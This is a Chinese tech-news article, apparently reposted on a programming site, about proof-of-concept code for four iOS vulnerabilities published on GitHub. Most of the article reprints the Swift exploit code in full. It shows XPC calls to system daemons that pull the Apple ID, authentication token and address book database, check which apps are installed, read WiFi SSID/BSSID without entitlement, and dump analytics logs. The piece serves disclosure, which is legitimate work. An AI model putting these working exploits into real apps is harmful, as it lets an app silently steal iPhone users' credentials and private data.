文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

研究人员发现三个iOS 0 day漏洞PoC代码

2024-12-02 20:31

关注

研究人员发现3个iOS 0 day漏洞PoC代码。

GitHub用户illusionofchaos在GitHub上发布了4个iOS 安全漏洞的PoC代码,其中包含3个0 day漏洞和1个已修复的安全漏洞。这4个漏洞分别是:

Gamed 0-day

从APP store中按住那个的应用可以在用户不知情的情况下访问以下信息:

PoC代码如下:

  1. let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)! 
  2. let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol 
  3. let pid = ProcessInfo.processInfo.processIdentifier 
  4. proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in 
  5.     accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in 
  6.         let appleID = response.credential.accountName 
  7.         let token = response.credential.authenticationToken 
  8.     } 
  9.     utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in 
  10.         let addressBookData = data 
  11.     } 

Nehelper Enumerate Installed Apps 0-day

该漏洞允许任何用户安装的APP来确定设备上安装的APP是否是给定的bundle ID。XPC终端com.apple.nehelper 有一个访问APP的方法可以接受bundle ID作为参数,并返回含有缓存UUID的数组,缓存的UUID可以用来与设备上安装的应用的bundle ID进行配对。具体参见/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :

  1. func isAppInstalled(bundleId: String) -> Bool { 
  2.     let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)! 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5.     let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1) 
  7.     xpc_dictionary_set_uint64(xdict, "cache-command", 3) 
  8.     xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId) 
  9.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) 
  10.     if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil { 
  11.         return true 
  12.     } 
  13.     return false 

Nehelper Wifi Info 0-day

XPC终端com.apple.nehelper会接收用户提供的参数sdk-version,如果该值小于后等于524288,com.apple.developer.networking.wifi-info entiltlement就会跳过。这使得任何符合条件的APP都可以在无需entiltlement的情况下获取WiFi信息。

  1. func wifi_info() -> String? { 
  2.     let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2) 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5.     let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10) 
  7.     xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely 
  8.     xpc_dictionary_set_string(xdict, "interface-name", "en0") 
  9.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) 
  10.     if let result = xpc_dictionary_get_value(reply, "result-data") { 
  11.         let ssid = String(cString: xpc_dictionary_get_string(result, "SSID")) 
  12.         let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID")) 
  13.         return "SSID: \(ssid)\nBSSID: \(bssid)" 
  14.     } else { 
  15.         return nil 
  16.     } 

Analyticsd (iOS 14.7中已修复)

该漏洞允许任意用户安装的APP访问分析日志。这些日志中含有以下信息:

  1. func analytics_json() -> String? { 
  2. let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2) 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5. let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_string(xdict, "command", "log-dump"); 
  7.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict); 
  8.     return xpc_dictionary_get_string(reply, "log-dump"); 

更多参见:https://habr.com/ru/post/579714/

 

来源:嘶吼网内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯